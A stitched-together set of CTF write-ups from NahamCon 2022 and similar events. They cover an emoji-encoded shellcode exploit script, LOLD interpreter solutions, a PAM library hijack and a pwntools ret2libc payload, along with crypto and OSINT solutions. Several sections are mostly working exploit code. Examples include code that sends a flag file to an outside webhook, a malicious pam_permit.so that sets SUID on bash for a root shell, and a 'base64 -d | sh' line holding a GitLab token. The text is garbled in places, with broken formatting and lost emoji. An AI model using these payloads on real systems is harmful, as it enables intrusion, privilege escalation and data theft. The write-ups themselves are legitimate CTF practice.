"?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "?", "#⃣", "*⃣", "0⃣", "1⃣", "2⃣", "3⃣", "4⃣", "5⃣", "6⃣", "7⃣", "8⃣", "9⃣", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??", "??"]
clock_emojis = [ "?", # one "?", # two "?", # three "?", # four "?", # five "?", # six "?", # seven "?", # eight "?", # nine]
add_emoji = "➕"sub_emoji = "➖"
def send_emojis_to_server(code_to_run): headers = { 'Accept': '*/*', 'Accept-Language': 'en-DE,en;q=0.9,de-DE;q=0.8,de;q=0.7,en-US;q=0.6', 'Cache-Control': 'no-cache', 'Connection': 'keep-alive', 'Content-Type': 'multipart/form-data; boundary=----WebKitFormBoundaryZbD8o2xSaiWZUtEf', 'DNT': '1', 'Origin': 'http://challenge.nahamcon.com:31203', 'Pragma': 'no-cache', 'Referer': 'http://challenge.nahamcon.com:31203/', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36', 'X-Requested-With': 'XMLHttpRequest', }
data = '------WebKitFormBoundaryZbD8o2xSaiWZUtEf\r\nContent-Disposition: form-data; name="shellcode"\r\n\r\n' + code_to_run + '\r\n------WebKitFormBoundaryZbD8o2xSaiWZUtEf--\r\n'
r = requests.post(base_url + '/run', headers=headers, data=data.encode("utf8"), verify=False) print("[DEBUG]", r.text) return r.text.split("'")[1]
def printhex(prefix="", hexcode=""): print(prefix, '\\x' + '\\x'.join(hex(ord(x))[2:] for x in hexcode))
context.arch = "amd64"context.os = "linux"shellcode = "".join(map(chr, asm(shellcraft.amd64.linux.cat("/flag.txt"))))printhex("target:", shellcode)
emoji_to_idx = []for i in range(0, 255+1): emoji_to_idx.append(None)
assert len(emoji_to_idx) == 256
for em in all_emojis: em_enc = em.encode('utf-8') em_int = [x for x in em_enc] # print(em, "|", em_enc, "|", [hex(x) for x in em_enc], em_int)
for i in range(len(em_int)): emoji_to_idx[em_int[i]] = em+clock_emojis[i]
# print("emoji_to_idx", len([x for x in emoji_to_idx if x is not None]))# print("emoji_to_idx", [x for x in enumerate(emoji_to_idx)])
new_idx = [x for x in emoji_to_idx]top_idx = 191for cur_idx in range(0, 192): if emoji_to_idx[cur_idx] is None: continue
new_idx[top_idx-cur_idx] = f"{emoji_to_idx[top_idx]}➖{emoji_to_idx[cur_idx]}" cur_idx-=1
top_idx = 240for cur_idx in range(0, 240): if emoji_to_idx[cur_idx] is None: continue
new_idx[top_idx-cur_idx] = f"{emoji_to_idx[top_idx]}➖{emoji_to_idx[cur_idx]}" cur_idx-=1
top_idx = 42for cur_idx in range(0, 240): nI = (top_idx - cur_idx) % 256 if emoji_to_idx[cur_idx] is None or new_idx[nI] is not None: continue
new_idx[(top_idx-cur_idx) % 256] = f"{emoji_to_idx[top_idx]}➖{emoji_to_idx[cur_idx]}" cur_idx-=1
# print("new_idx", len([x for x in new_idx if x is not None]))# print("new_idx", [x for x in enumerate(new_idx)])
low_idx = 54for cur_idx in range(255): if emoji_to_idx[cur_idx] is None: continue nI = (low_idx + cur_idx) % 256 new_idx[nI] = f"{emoji_to_idx[low_idx]}➕{emoji_to_idx[cur_idx]}"
low_idx = 42for cur_idx in range(255): if emoji_to_idx[cur_idx] is None: continue nI = (low_idx + cur_idx) % 256 new_idx[nI] = f"{emoji_to_idx[low_idx]}➕{emoji_to_idx[cur_idx]}"
# fixed by handnew_idx[251] = f"{emoji_to_idx[144]}➖{emoji_to_idx[149]}"new_idx[252] = f"{emoji_to_idx[144]}➖{emoji_to_idx[148]}"new_idx[253] = f"{emoji_to_idx[144]}➖{emoji_to_idx[147]}"new_idx[254] = f"{emoji_to_idx[144]}➖{emoji_to_idx[146]}"new_idx[255] = f"{emoji_to_idx[144]}➖{emoji_to_idx[145]}"
# print("Missing: ", end="")# for i in range(len(new_idx)):# if new_idx[i] is not None:# # print(f"Avail: {i}")# pass# else:# pass# print(f"{i}", end=" ")# print()
emoji_shellcode = "?"do_check = Falsefor c in shellcode: if not new_idx[ord(c)]: print("Missing", ord(c), "for exploit") assert False else: e_code = new_idx[ord(c)] if do_check: r = send_emojis_to_server(e_code) print(ord(c), hex(ord(c)), "=>", r) assert ord(c) == int("0x"+ r, 16) emoji_shellcode += e_code
print(emoji_shellcode, flush=True)sent = send_emojis_to_server(emoji_shellcode)tried = ''.join([hex(ord(x))[2:].zfill(2) for x in shellcode])
print("sent == tried", sent == tried)
"""But here's where it gets crazy.Say you want to add two bytes together before they get processed?No problemo my friend!Just use the ➕ emoji! So ⚠️?➕⚠️? gives the byte \xc4 (\xe2 + \xe2 % 256 is \xc4)Since we're really bananas, you can even subtract them.With the emoji mathificator, there's nothing you can't do.
You can even run code! Start your emojis with ? and we'll run the bytes that result.Truly nothing is as powerful as the mathificator!"""```
Unfortunately CTFtime can't handle all the used emojis well. I also uploaded the solution to GitHub with better emoji rendering. |
I spent some time inspecting the image with different tools until i noticed something when i used cat, the image has some letters between the tspan and /tspan tags```shellid="tspan3748">p </tspan><tspan sodipodi:role="line" x="107.43014" y="132.08942" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3754">i </tspan><tspan sodipodi:role="line" x="107.43014" y="132.09383" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3756">c </tspan><tspan sodipodi:role="line" x="107.43014" y="132.09824" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3758">o </tspan><tspan sodipodi:role="line" x="107.43014" y="132.10265" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3760">C </tspan><tspan sodipodi:role="line" x="107.43014" y="132.10706" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3762">T </tspan><tspan sodipodi:role="line" x="107.43014" y="132.11147" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3764">F { 3 n h 4 n </tspan><tspan sodipodi:role="line" x="107.43014" y="132.11588" style="font-size:0.00352781px;line-height:1.25;fill:#ffffff;stroke-width:0.26458332;" id="tspan3752">c 3 d _ 2 4 3 7 4 6 7 5 }</tspan></text> </g></svg>```I joined them and got the flag.
**The flag is: picoCTF{3nh4nc3d_24374675}** |
# LOLD 1,2,3 - Scripting
We were in all 3 challenges the same python2 file
and i use this command to compile LOLD code to python
```$ python2 lolpython.py --convert code.lold && python2 code.py ```
## LOLD (easy)
> HAI!!!! WE HAZ THE BESTEST LOLPYTHON INTERPRETERERERER U HAS EVER SEEEEEN! YOU GIVE SCRIPT, WE RUN SCRIPT!! AND FLAG IS EVEN AT /flag.txt.
Started by understanding basic instructions.
```VISIBLE was translated to printCAN HAZ to (OK to )THING to ()```

I wrote a LOLD program to print `/flag.txt````f CAN HAZ open WIT '/flag.txt' OKVISIBLE f OWN read THING```so that was translated to python:```pyf = open ( '/flag.txt' ) print f . read ()```and that worked and gaved us the flag

## Curiosity
At this point i was curious on what i can really do here. I was given possibly a docker machine and i could run anything. Maybe they have more code there. What can i really find here?
Did an `ls` and reallized i was at `/`. Surely i was in a docker.
I searched and found the code was at `/opt/challenge/`.
4 files:- flag.txt \contains the flag!- test.py \maybe an admin added that there to test the challenge- lolpython.py \our source code- entry.py \ahh here we go. That program is the connection. We give it code, it compile and save it to `/tmp` and runs it.
## LOLD 2 (medium)
> HAI!!!! WE HAZ THE BESTEST LOLPYTHON INTERPRETERERERER U HAS EVER SEEEEEN! AND WE HAZ MADE SUM UPGRADEZ! YOU GIVE SCRIPT, WE RUN SCRIPT!! AND WE SAY YAY! AND FLAG IS EVEN AT /flag.txt!
I run the same program but this time i couldnt find a way to print since they just replied if the run was succeful or not.
I just had to do a call an request and send the containts of the `/flag.txt` file.
And why read the `/flag.txt` when we already know its the same in `/opt/challenge/flag.txt`
```GIMME urllibf CAN HAZ open WIT '/opt/challenge/flag.txt' OK flag CAN HAZ f OWN read THINGVISIBLE urllib OWN urlopen WIT " https://webhook.site/<REDACTED>?LOLD2= " ALONG WITH flag OK OWN read THING``````pyimport urllib f = open ( '/opt/challenge/flag.txt' ) flag = f . read ()print urllib . urlopen ( ' https://webhook.site/<REDACTED>?LOLD2= ' + flag ) . read ()```

## LOLD 3 (hard)
> HAI!!!! WE HAZ THE BESTEST LOLPYTHON INTERPRETERERERER U HAS EVER SEEEEEN! AND WE HAZ MADE SUM UPGRADEZ! YOU GIVE SCRIPT, WE RUN SCRIPT!! AND WE SAY YAY! BUT URGHHHH NOW WE HAVE LOST THE FLAG!?! YOU HAZ TO FIND IT!!
Well we already know what to do ;)
```GIMME urllibf CAN HAZ open WIT '/opt/challenge/flag.txt' OK flag CAN HAZ f OWN read THINGVISIBLE urllib OWN urlopen WIT " https://webhook.site/<REDACTED>?LOLD3= " ALONG WITH flag OK OWN read THING``````pyimport urllib f = open ( '/opt/challenge/flag.txt' ) flag = f . read ()print urllib . urlopen ( ' https://webhook.site/<REDACTED>?LOLD3= ' + flag ) . read ()```
 |
```GIMME urllibf CAN HAZ open WIT '/opt/challenge/flag.txt' OK flag CAN HAZ f OWN read THINGVISIBLE urllib OWN urlopen WIT " https://webhook.site/<REDACTED>?LOLD2= " ALONG WITH flag OK OWN read THING``` |
## Finding the vulnerabilityWhen we SSH into the instance and search for all files we own, we find out that we own the entire directory of */usr/lib/x86_64-linux-gnu/security*
Located inside the directories are all libraries that pertain to *pam*. However, the thing with *pam* is that it is also a feature which can be used by SSH. If we look in the configuration file of the machine, we can see this is apparent:

Perhaps this means that, considering we have read/write access to the directory, we could perhaps hijack a library located in there and get arbitray code execution by the *sshd* daemon as it tries to load whatever library it needs to load in there. In order to verify our hypothesis, when we delete a specific file (in my case it was *pam_permit.so*), we notice that the next time we try to SSH into the machine, the "Permission denied" error is granted 100% of the time, and *wayyy* sooner than it should take.


## ExploitationKnowing this, and knowing that we potentially found our library to exploit, we can now hijack the library and make it so whenever it is loaded, *our* code will be executed rather than the code that was intended to be executed. When looking at the [source code](https://github.com/linux-pam/linux-pam/blob/master/modules/pam_permit/pam_permit.c) for *pam_permit.so*, we are thankfully granted with a very short C program. The function that I intended to hijack was *pam_sm_authenticate*.```c#include <stdio.h>#include <stdio.h>#include <stdlib.h>
#define DEFAULT_USER "nobody"
int pam_sm_authenticate(int *useless, int flags, int argc, const char **argv) { system("chmod +s /bin/bash");}```
Now, when compiling it with `gcc -shared malicious.c -o malicious.so`, we can transfer it over to the (reset) instance through `sshpass -p 'userpass' scp -P 31140 malicious.so [email protected]:~`
We can now move our malicious shared library and mask it as the "real" *pam_permit.so* library. Then, we can try SSHing again to trigger the *sshd* binary to look in our controlled directory and execute the library it needs there.


This time, it didn't give us a "permission denied" error, but rather it simply closed the connection. This is a good sign; since it shows us that our new library may have been loaded. Now, when we take a look at */bin/bash* on the SSH shell that has remained open, we see something truly breathtaking:

Now, simply get a root shell via `bash -p`, and as the root user we can now read the flag.
 |
The flag in this challenge is coded in the NATO phonetic alphabet, which we can discover by googling the title "Alpha Bravo Charlie"
Using this image, from the [NATO phonetic alphabet wikipedia page](https://www.wikiwand.com/en/NATO_phonetic_alphabet), we can decode the flag: 
The flag is: SAH{R4DI0TALK} |
From the challenge description, we know Megan has a twitter account. Checking the followers for the [Cyber Community Club twitter account](https://twitter.com/Cx3CyberSpace), we see Megan's twitter account - [@golfcoachmegan](https://twitter.com/golfcoachmegan).
We find her email in her bio: [email protected]
The flag: SAH{[email protected]} |
Took me a few minutes to figure out what lolpython was and how it worked, but after looking at the lolpython's github page I found a few examples that I used to come up with this code.
```F CAN HAS open WIT "flag.txt"!S CAN HAS F OWN read THINGVISIBLE S``` |
Calculation of xorrox[] in xorrox.py- xorrox[0] = 1- xorrox[1] = key[1]- xorrox[2] = key[2] ^ key[1]- xorrox[3] = key[3] ^ key[2] ^ key[1]- ...
Derived calculation of key[]- key[1] = xorrox[1]- key[2] = xorrox[2] ^ key[1]- key[3] = xorrox[3] ^ key[2] ^ key[1]- ...
```#!/usr/bin/env python3xorrox=[1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]enc=[26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]flag = []key = []key.append(enc[0] ^ 102)for i in range(1,38): o = 1 o ^= xorrox[i] for j in range(i-1, 0, -1): o ^= key[j] key.append(o)for i in range(0,38): flag.append(chr(enc[i] ^ key[i]))print(''.join(flag))``` |
The solution to this challenge requires finding the "typos" or misspellings, as clued in by the title.
The typos are as follows:
> Hey there, who are you? Oh no, not another l[i]ttle high handed, self concer[n]ed, wannabe ha[c]ker trying t[o] break my code? Millio[n]s of people have tried and failed. I'm flabbergasted that you'd have the auda[c]ity to k[e]ep try[i]ng, you'll be sorry you ha[v]en’t quit yet! Your be[a]utiful flag has become discom[b]obulated like a[l]l those wannab[e]s who are yet to come!
The missing letters give us the flag: SAH{INCONCEIVABLE} |
### Analysis
Reading the source code with `cat re.c` presents the following:
```c#include <stdlib.h>
int win(){ int fd = open("./flag.txt",0); sendfile(1,fd,0,100); exit(0);}
int main() { srand(time(0)); int rand_num; int user_num; printf("Give me a number: "); scanf("%d", &user_num); rand_num = rand(); if (rand_num == user_num) { printf("Correct \n "); win(); } printf("Wrong!\n"); printf("I randomly generated:\n%d", rand_num);}```
From line 22 (`if (rand_num == user_num)`), we can see that in order to fulfill the win condition, we have to input a string to the program which matches the randomly generated number. The `srand()` function used on line 13 seeds the pseudorandom number generator with the current time, meaning that the "random" number will be the same whenever executed in the same millisecond.
### Testing
This can be tested easily in Bash:```bashfor _ in {1..9} do # Repeat 9 times echo "test" | ./re # Run the program with a dummy input string echo -e "\n" # Print a blank line to delimit each loop, for readabilitydone```
This provides an output such as the following example:
```bashGive me a number: Wrong!I randomly generated:1606725990
Give me a number: Wrong!I randomly generated:1606725990
Give me a number: Wrong!I randomly generated:1606725990
# <Repeats 6 more times>```
### Exploitation
We can see that the randomly generated number is displayed on the third line each time, so we can extract just the line containing the number using `sed -n 3p`. Then, we can pipe that number back into the program, since the random number will be unchanged, assuming execution happens within the same millisecond.
Our final code is this:
```bashecho "test" | ./re | sed -n 3p | ./re```
Executing it will provide the following output:```bashGive me a number: CorrectSAH{Can_I_Have_Your_Number?}```
### Flag
#### ? `SAH{Can_I_Have_Your_Number?}` |
Found the line in strings of peanutbutter.elf```echo Z2l0IGNsb25lIGh0dHBzOi8vb2F1dGgyOmdscGF0LWpXQmdDUnR0WkdneHN0R3hOYjVyQGdpdGxhYi5jb20vY3RmZmxhZzEzMzcvc3NoLXZvbC5naXQK | base64 -d | sh 2&> /dev/null```
Decoded Base64```console➜ peanutbutter echo Z2l0IGNsb25lIGh0dHBzOi8vb2F1dGgyOmdscGF0LWpXQmdDUnR0WkdneHN0R3hOYjVyQGdpdGxhYi5jb20vY3RmZmxhZzEzMzcvc3NoLXZvbC5naXQK | base64 -dgit clone https://oauth2:[email protected]/ctfflag1337/ssh-vol.git```
If we clone the repository it contains a file named `flag.txt`
```console➜ peanutbutter cat ssh-vol/flag.txtflag{698789979201a0ae066ce0f780f1a751}``` |
This challenge is similar to "Alpha Bravo Charlie", except this time it's the [Swedish Armed Forces radio alphabet](https://www.wikiwand.com/en/Swedish_Armed_Forces_radio_alphabet).
Decoding the ciphertext, the flag is: SAH{SW3DEN_1S_4W350M3} |
# Click Me!
Mobile, Hard, 466 Points ?️?First Blood??️
> I created a cookie clicker application to pass the time. There's a special prize that I can't seem to get.
## Analysis
Decompiled the [click_me.apk](click_me.apk) with JADX:
`class MainActivity`:```javapublic final native String getFlag();...public final void getFlagButtonClick(View view) { Intrinsics.checkNotNullParameter(view, "view"); if (this.CLICKS == 99999999) { Toast.makeText(getApplicationContext(), getFlag(), 0).show(); return; } Toast.makeText(getApplicationContext(), "You do not have enough cookies to get the flag", 0).show();}```
All i had to do is hook on the `getFlagButtonClick` function and print the result of `flag()`
## Solution
Used frida and wrote the script:
`hook.js`:```jsJava.perform(function(){ Java.use("com.example.clickme.MainActivity").getFlagButtonClick.implementation = function (a) { console.log(this.getFlag()); return; }});```
the run it with the command and clicked `GET FLAG` in device```console➜ CLICK frida -D emulator-5554 -l hook.js -f com.example.clickme --no-pause ____ / _ | Frida 15.1.17 - A world-class dynamic instrumentation toolkit | (_| | > _ | Commands: /_/ |_| help -> Displays the help system . . . . object? -> Display information about 'object' . . . . exit/quit -> Exit . . . . . . . . More info at https://frida.re/docs/home/ . . . . . . . . Connected to Android Emulator 5554 (id=emulator-5554)Spawned `com.example.clickme`. Resuming main thread! [Android Emulator 5554::com.example.clickme ]-> flag{849d9e5421c59358ee4d568adebc5a70}
```| Without any hooks | With Frida running | | --- | -- ||  |  | |
[Original writeup](https://github.com/nikosChalk/ctf-writeups/blob/master/b01lers22/web/hackerplace/README.md) (https://github.com/nikosChalk/ctf-writeups/blob/master/b01lers22/web/hackerplace/README.md) |
Found the line in strings of jelly.elf```echo "bitcoin: G9mzcaHrPAZnkfMCgsNrt5Y8VXSfV74E2kNhYeaWgPYCrtNDzZzC" > flag.txt```
We know Bitcoin addresses are written base58 and start with 0x80
Decoded the hash
```console➜ jelly echo G9mzcaHrPAZnkfMCgsNrt5Y8VXSfV74E2kNhYeaWgPYCrtNDzZzC | base58 -dflag{a70f5c001e67e4c26bf20dc457d43459}``` |
# unimod

in this chall he gave me encryption code ```python import random
flag = open('flag.txt', 'r').read()ct = ''k = random.randrange(0,0xFFFD)for c in flag: ct += chr((ord(c) + k) % 0xFFFD)
open('out', 'w').write(ct)
```he picks a random key between 0 and 65533so key < 10e9 then we can do a bruteforce .
```python
f = open('out','r').read()print(f)
for i in range(0 , 0xFFFD ): h = '' for j in f: h+= chr(( ord(j) -i )% 0xFFFD) if 'flag' in h : print(h)```
flag: flag{4e68d16a61bc2ea72d5f971344e84f11} |
```from pwn import *
p = remote('challenge.nahamcon.com', 32008)buffer = b"A"*16ebp = b"B"*8
addr_system = p32(0xf7e04790)binsh = p32(0xf7f51363)
payload = buffer + ebp + addr_system + b"AAAA" + binsh
p.sendline(payload)p.interactive()``` |
[writeups/nahamcon2022/GarysSauce.md](https://github.com/asheeri/CTF-Writeups/blob/e3ba11d0972fb82db54d387be35ba6230db52383/writeups/nahamcon2022/GarysSauce.md)
[writeups/nahamcon2022/solve_gary.py](https://github.com/asheeri/CTF-Writeups/blob/e3ba11d0972fb82db54d387be35ba6230db52383/writeups/nahamcon2022/solve_gary.py) |
CERULEAN EXPRESS - Sun 20
You’ve found a text file, but it seems to just be a rant about the sun written by a guy with a huge ego? Is there a hidden message?
[[crypto6.txt]]
Attached is the file in challenge*
Take the first letter of each sentence with #'s excluded -
SAH{WOW_Y0U_ARE_1MPR3SSIV3} |
CERULEAN EXPRESS - lool 20
**Name the ssh server username with the UID of 1001.**
1. Bit more complicated, but make sure to cd .. twice, as we will be working in the ./ directory.2. Go to cd etc/ as this will be where all passwords, usernames, and UID3. Since Linux was updated, and security came more important, the passwords of all the users has been changed from the passwd file, to the shadow file, however the passwd file is still extremely useful when looking for information on user4. When going into the passwd file, we see that the user hackerBackdoor, has a UID of 1001, making it the user that we are looking for.
Therefore, the flag is:SAH{hackerBackdoor} |
CERULEAN EXPRESS - Holder of Directories 20
What is the name of the directory that holds them all?
1. What directory holds all the other directories?2. cd / right?3. Sooo....
SAH{/} |
Description:> We are exclusive -- you can't date anyone, not even the past! And don't even think about looking in the mirror!
We are given two files to download:output.txt, which contains two lines:
```xorrox=[1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]enc=[26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]```
and
xorrox.py - which contains the following code:
```#!/usr/bin/env python3
import random
with open("flag.txt", "rb") as filp: flag = filp.read().strip()
key = [random.randint(1, 256) for _ in range(len(flag))]
xorrox = []enc = []for i, v in enumerate(key): k = 1 for j in range(i, 0, -1): k ^= key[j] xorrox.append(k) enc.append(flag[i] ^ v)
with open("output.txt", "w") as filp: filp.write(f"{xorrox=}\n") filp.write(f"{enc=}\n")```
Reading through the code we can see the following:- an array with a size the length of our flag, being generated with random integers between 1 and 256. This range is representing the 256 characters in a 8-bit ascii character set.- two arrays initialized: `xorrox[]` and `enc[]`- loop through our new array of keys- loop starting at our key integer value and go backwards 1 (ie. previous key) - xor k and our key at position[j] of our keys- append the key that has been xorred - xor the integer value at position i of our flag with key at position i (v)
This might seem complicated, but it's pretty simple. We basically need to loop through our `xorrox` array, xor the value at position i with value of previous position. We have a "crib" of `flag{`, so we can skip positions 0-4.
```#!/usr/bin/env python3
xorrox=[1, 209, 108, 239, 4, 55, 34, 174, 79, 117, 8, 222, 123, 99, 184, 202, 95, 255, 175, 138, 150, 28, 183, 6, 168, 43, 205, 105, 92, 250, 28, 80, 31, 201, 46, 20, 50, 56]enc=[26, 188, 220, 228, 144, 1, 36, 185, 214, 11, 25, 178, 145, 47, 237, 70, 244, 149, 98, 20, 46, 187, 207, 136, 154, 231, 131, 193, 84, 148, 212, 126, 126, 226, 211, 10, 20, 119]
flag = 'flag{' # flag{ is our known text AKA "crib"for i in range(5, len(xorrox)): key = xorrox[i] ^ xorrox[i-1] flag += chr(enc[i] ^ key)print(flag)```
`flag{21571dd4764a52121d94deea22214402}` |
# Challenge: KeeberCategory: **OSINT** Difficulty: **Medium** Authors: `@matlac#2291, @Gary#4657` Points: **1842** [**Keeber 1** [1246 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-1) [**Keeber 2** [890 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-2) [**Keeber 3** [377 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-3) [**Keeber 4** [192 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-4) [**Keeber 5** [573 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-5) [**Keeber 6** [164 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-6) [**Keeber 7** [74 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-7) [**Keeber 8** [62 solves]](https://github.com/drewd314/Nahamcon-CTF-2022-Keeeber-OSINT-Writeups/blob/main/Keeber.md#keeber-8)
## Keeber 1Points: **50** Solves: **1246**
Challenge Description: You have been applying to entry-level cybersecurity jobs focused on reconnaissance and open source intelligence (OSINT). Great news! You got an interview with a small cybersecurity company; the Keeber Security Group. Before interviewing, they want to test your skills through a series of challenges oriented around investigating the Keeber Security Group.
The first step in your investigation is to find more information about the company itself. All we know is that the company is named Keeber Security Group and they are a cybersecurity startup. To start, help us find the person who registered their domain. The flag is in regular format.
### ApproachStarting off we get this prompt that the Keeber Security Group about them wanting us to perform an investigation on them using our OSINT knowledge. We see that someone registered a domain, so step 1 should be finding this website. Not too hard after a quick google search for Keeber Security Group.
We can use external websites to find out who registered the domain, such as [whois.com](https://www.whois.com).
flag: `flag{ef67b2243b195eba43c7dc797b75d75b}`
## Keeber 2Points: **50** Solves: **890**
Challenge Description: The Keeber Security Group is a new startup in its infant stages. The team is always changing and some people have left the company. The Keeber Security Group has been quick with changing their website to reflect these changes, but there must be some way to find ex-employees. Find an ex-employee through the group's website. The flag is in regular format.
### ApproachI started off looking at the Github for this one, and found a contributor named `Tiffany Douglas` who wasn’t on the team section of the website. However, I couldn't find the flag there. I then pivoted to the [Wayback Machine](https://web.archive.org/web/20220419212259/https://keebersecuritygroup.com/team/) and noticed a snapshot was taken prior to the competition starting.

Looking at this, we can find the flag under Tiffany's name in the team section.

flag: `flag{cddb59d78a6d50905340a62852e315c9}`
## Keeber 3Points: **50** Solves: **377**
Challenge Description: The ex-employee you found was fired for "committing a secret to public github repositories". Find the committed secret, and use that to find confidential company information. The flag is in regular format.
### ApproachTo find the committed secret, I turned to github to see if there were any commits by Tiffany that were undone. Under the `.gitignore` in `security-evaluation-workflow` we see a secret that Tiffany must have added by mistake.

I wasn’t sure what asana was at first, but after googling it seems that it’s some software that Keeber uses. I went to the [asana documentation](https://developers.asana.com/docs) to see what we could do with this and came across a way to access the api:
```curl https://app.asana.com/api/1.0/users/me \ -H "Authorization: Bearer 0/a7f89e98g007e0s07da763a"```
Replacing the string with the one in the github, we get the flag.

flag: `flag{49305a2a9dcc503cb2b1fdeef8a7ac04}`
## Keeber 4Points: **318** Solves: **192**
Challenge Description: The ex-employee also left the company password database exposed to the public through GitHub. Since the password is shared throughout the company, it must be easy for employees to remember. The password used to encrypt the database is a single lowercase word somehow relating to the company. Make a custom word list using the Keeber Security Groups public facing information, and use it to open the password database The flag is in regular format.
(Hint: John the Ripper may have support for cracking .kdbx password hashes!)
### ApproachFinding the password database wasn't hard, as it's under `password-manager` in the github. After some research, we find that the `.kdbx` extension is a Keepass database hash. Following the steps in [this github](https://github.com/patecm/cracking_keepass) we can crack this keepass using John the Ripper and Hashcat together. With `keepass2john` in John the Ripper we can get a hash file that is readable by hashcat. You must remove the file name from the start of the hash file by editing it or with `| grep -o "$keepass$.*"`.
